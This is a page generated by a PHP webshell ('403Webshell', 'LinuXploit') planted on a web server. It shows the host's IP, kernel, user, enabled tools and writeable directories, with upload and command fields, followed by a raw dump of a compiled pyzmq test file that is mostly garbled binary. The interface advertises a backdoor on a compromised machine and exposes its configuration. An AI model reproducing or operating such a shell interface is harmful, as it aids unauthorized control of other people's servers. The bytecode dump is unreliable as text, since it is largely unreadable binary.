403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/zmq/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/zmq/tests/__pycache__/__init__.cpython-311.pyc
�

mc�c����ddlZddlZddlZddlZddlZddlmZddlmZddl	m
Z
ddlmZm
Z
ddlmZddlZddlmZ	ddlZddlmZd	Zn
#e$rd
ZYnwxYwej��dkZd�Zejed
���Zejej��dkd���Zd�ZGd�de
��Z Gd�de ��Z!Gd�d��Z"d�Z#dS)�N)�partial)�Thread)�List)�SkipTest�TestCase)�mark)�jsonapi)�greenTF�PyPyc��|S�N�)�xs �4/usr/lib/python3/dist-packages/zmq/tests/__init__.py�<lambda>r#s����zDoesn't work on PyPy)�reason)�zrequires zmq >= 4c��t|j���}d|_|���|�|���|���r*dtjjj	_
td���dS)z"Terminate a context with a timeout)�targetT��timeoutN�?context could not terminate, open sockets likely remain in test)r�term�daemon�start�join�is_alive�zmq�sugar�context�Context�	_instance�RuntimeError)�ctxr�ts   r�term_contextr'-s{���c�h����A��A�H��G�G�I�I�I��F�F�7�F�����z�z�|�|�
�.2��	��!�+��M�
�
�	
�
�
rc�6��eZdZUdZdZeej�d��pd��Z	e
eje
d<ed���Zed���Zed���Zd	�Zd
�Z�fd�Z�fd�Zejejd
fd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z�xZS)�BaseZMQTestCaseF�
�ZMQ_TEST_TIMEOUT�<�socketsc��|jj�dd��dt�dd��dkS)N�.�r)�	__class__�
__module__�split�__name__��selfs r�_is_pyzmq_testzBaseZMQTestCase._is_pyzmq_testAs<���~�(�.�.�s�A�6�6�q�9�X�^�^�C�QR�=S�=S�TU�=V�V�Vrc�H�|jottd��o|jS)N�SIGALRM)r7�hasattr�signal�test_timeout_secondsr5s r�_should_test_timeoutz$BaseZMQTestCase._should_test_timeoutEs,��
��
*���	�*�*�
*��)�	
rc�@�|jrtjStjSr
)r
�gzmqr"rr5s rr"zBaseZMQTestCase.ContextMs���:�	��<���;�rc�n�|j�|��}|j�|��|Sr
)r!�socketr-�append)r6�socket_type�ss   rrAzBaseZMQTestCase.socketTs2���L����,�,������A�����rc�(�td|�d����)NzTest did not complete in z seconds)�TimeoutError)r6r�argss   r�_alarm_timeoutzBaseZMQTestCase._alarm_timeoutYs���H�w�H�H�H�I�I�Irc�~��t�����|jrtst	d���|j���|_g|_|j	rRtj
tjt|j
|j����tj|j��dSdS)Nzrequires gevent)�super�setUpr
�have_geventrr"�instancer!r-r=r;r9rrHr<�alarm)r6r1s �rrKzBaseZMQTestCase.setUp\s����
���
�
�����:�	.�k�	.��,�-�-�-��|�,�,�.�.�������$�	4��M�����(;�T�=V� W� W�
�
�
�
�L��2�3�3�3�3�3�	4�	4rc����|jrtjd��|jh}|jrO|j���}|�|j��|�d��|j�O|D]B}	t||j	���#t$rdtjjj
_�wxYwt�����dS)Nr)r=r;rNr!r-�pop�add�closer'�teardown_timeout�	Exceptionrr r"r#rJ�tearDown)r6�contexts�sockr%r1s    �rrUzBaseZMQTestCase.tearDownjs�����$�	��L��O�O�O��L�>���l�	��<�#�#�%�%�D��L�L���&�&�&��J�J�q�M�M�M��l�	��	�	�C�
��S�$�"7�8�8�8�8���
�
�
�6:��	�!�)�3��
����
	���������s�B�'B=ztcp://127.0.0.1c��|j�|��}|�tjd��|�|��}|j�|��}|�tjd��|�|�d|����|j�||g��||fS)z/Create a bound socket pair using a random port.r�:)	r!rA�
setsockoptr�LINGER�bind_to_random_port�connectr-�extend)r6�type1�type2�	interface�s1�port�s2s       r�create_bound_pairz!BaseZMQTestCase.create_bound_pair}s����\�
 �
 ��
'�
'��
�
�
�c�j�!�$�$�$��%�%�i�0�0��
�\�
 �
 ��
'�
'��
�
�
�c�j�!�$�$�$�
�
�
�i�(�(�$�(�(�)�)�)�����R��H�%�%�%��2�v�
rc��|�|��|���}|�|��|���}|Sr
)�send�recv)r6rbrd�msg�msg2�msg3s      r�	ping_pongzBaseZMQTestCase.ping_pong�s?��
��������w�w�y�y��
����
�
�
��w�w�y�y���rc���tj�td���|�|��|���}|�|��|���}|S)NzNo json library)r	�jsonmodr�	send_json�	recv_json�r6rbrd�o�o2�o3s      r�ping_pong_jsonzBaseZMQTestCase.ping_pong_json�sY���?�"��,�-�-�-�
���Q����
�\�\�^�^��
���R����
�\�\�^�^���	rc��|�|��|���}|�|��|���}|Sr
)�
send_pyobj�
recv_pyobjrqs      r�ping_pong_pyobjzBaseZMQTestCase.ping_pong_pyobj�sE��
�
�
�a����
�]�]�_�_��
�
�
�b����
�]�]�_�_���	rc��	||i|��|�d��dS#tj$rW}|�|j|dtj|���dtj|j���d���Yd}~dSd}~wwxYw)N� Function did not raise any error�wrong error raised, expected '�' got '�')�failr�ZMQError�assertEqual�errno�r6r��funcrG�kwargs�es      r�assertRaisesErrnoz!BaseZMQTestCase.assertRaisesErrno�s���	:��D�$�!�&�!�!�!�
�I�I�8�9�9�9�9�9���|�	�	�	���������<��&�&�&�&���Q�W�(=�(=�(=�(=�?�
�
�
�
�
�
�
�
�
�����	���s�!�B�AB�Bc	�p�tj��dkrtjd��tj|ggg|�dd�����\}}}t
|��dks
Jd���tj|�dd��z|d<|r|j	n|j
}|d	i|��S)
zIcall recv[_multipart] in a way that raises if there is nothing to receive)�r0rg�������?r�rrzShould have received a message�flagsr)r�zmq_version_info�time�sleep�selectrP�len�DONTWAIT�get�recv_multipartrh)r6�	multipartrAr��r�wrrhs        r�_select_recvzBaseZMQTestCase._select_recv�s�����!�!�Y�.�.�
�J�s�O�O�O��*�f�X�r�2�v�z�z�)�Q�7O�7O�P�P�P���1�a��1�v�v��z�z�z�;�z�z�z��,����G�Q�)?�)?�?��w��(1�B�v�$�$�v�{���t�~�~�f�~�~�rc� �|jd|fi|��S)z=call recv in a way that raises if there is nothing to receiveF�r��r6rAr�s   rrhzBaseZMQTestCase.recv�s�� �t� ���9�9�&�9�9�9rc� �|jd|fi|��S)zGcall recv_multipart in a way that raises if there is nothing to receiveTr�r�s   rr�zBaseZMQTestCase.recv_multipart�s�� �t� ��v�8�8��8�8�8r) r4r2�__qualname__r
rS�int�os�environr�r<rr�Socket�__annotations__�propertyr7r=r"rArHrKrU�PAIRrerlruryr�r�rhr��
__classcell__)r1s@rr)r);s����������E����3�r�z�~�~�.@�A�A�G�R�H�H��
�#�*�
����
�W�W��X�W��
�
��X�
�����X�����
J�J�J�4�4�4�4�4������(�H�C�H�8I��������������:�:�:�
�
�
�:�:�:�9�9�9�9�9�9�9rr)c��eZdZdS)�PollZMQTestCaseN)r4r2r�rrrr�r��s�������Drr�c�,�eZdZdZdZdZd�Zd�Zd�ZdS)�	GreenTestz/Mixin for making green versions of test classesTr*c�v�|tjkrtd���	||i|��|�d��dS#tj$ritj��d}|�|j|dtj|���dtj|j���d���YdSwxYw)NzSkipping because we're green.r{r0r|r}r~)	r�EAGAINrrr��sys�exc_infor�r�r�s      rr�zGreenTest.assertRaisesErrno�s����C�J����:�;�;�;�	:��D�$�!�&�!�!�!�
�I�I�8�9�9�9�9�9���|�	�	�	�����q�!�A���������<��&�&�&�&���Q�W�(=�(=�(=�(=�?�
�
�
�
�
�
�	���s�A�A4B8�7B8c��|jrtjd��|jh}|jrN|j���}|�|j��|���|j�N	tj	d�|D��|j
d���dS#tj$rtd���wxYw)Nrc�@�g|]}tj|j����Sr)�gevent�spawnr)�.0r%s  r�
<listcomp>z&GreenTest.tearDown.<locals>.<listcomp>�s$��<�<�<�C���c�h�'�'�<�<�<rT)r�raise_errorr)
r=r;rNr!r-rPrQrRr��joinallrS�Timeoutr$)r6rVrWs   rrUzGreenTest.tearDown�s����$�	��L��O�O�O��L�>���l�	��<�#�#�%�%�D��L�L���&�&�&��J�J�L�L�L��l�	�		��N�<�<�8�<�<�<��-� �
�
�
�
�
�
��
�~�	�	�	��Q���
�	���s�:&B"�"Cc� �td����NzSkipping because we are green)rr5s r�
skip_greenzGreenTest.skip_green�s���6�7�7�7rN)	r4r2r��__doc__r
rSr�rUr�rrrr�r��sR������9�9��E���:�:�:�"���(8�8�8�8�8rr�c����fd�}|S)Nc�H��|jrtd����|g|�Ri|��Sr�)r
r)r6rGr��fs   �r�
skipping_testz!skip_green.<locals>.skipping_test�s<����:�	,��:�;�;�;��1�T�+�D�+�+�+�F�+�+�+rr)r�r�s` rr�r��s$���,�,�,�,�,��r)$r��platformr;r�r��	functoolsr�	threadingr�typingr�unittestrr�pytestrr�	zmq.utilsr	r�r
r?rL�ImportError�python_implementation�PYPY�_id�skipif�	skip_pypyr��
require_zmq_4r'r)r�r�r�rrr�<module>r�s��
�	�	�	�����
�
�
�
�
�
�
�
�����������������������'�'�'�'�'�'�'�'�������
�
�
�
���������M�M�M�!�!�!�!�!�!��K�K�������K�K�K�����&�x�%�'�'�6�1���k���D�K��%;�<�<�<�	����0�C�0�2�2�T�9�BU�V�V�V�
�
�
�
�I9�I9�I9�I9�I9�h�I9�I9�I9�X	�	�	�	�	�o�	�	�	�,8�,8�,8�,8�,8�,8�,8�,8�^����s�A
�
A�A

Youez - 2016 - github.com/yon3zu
LinuXploit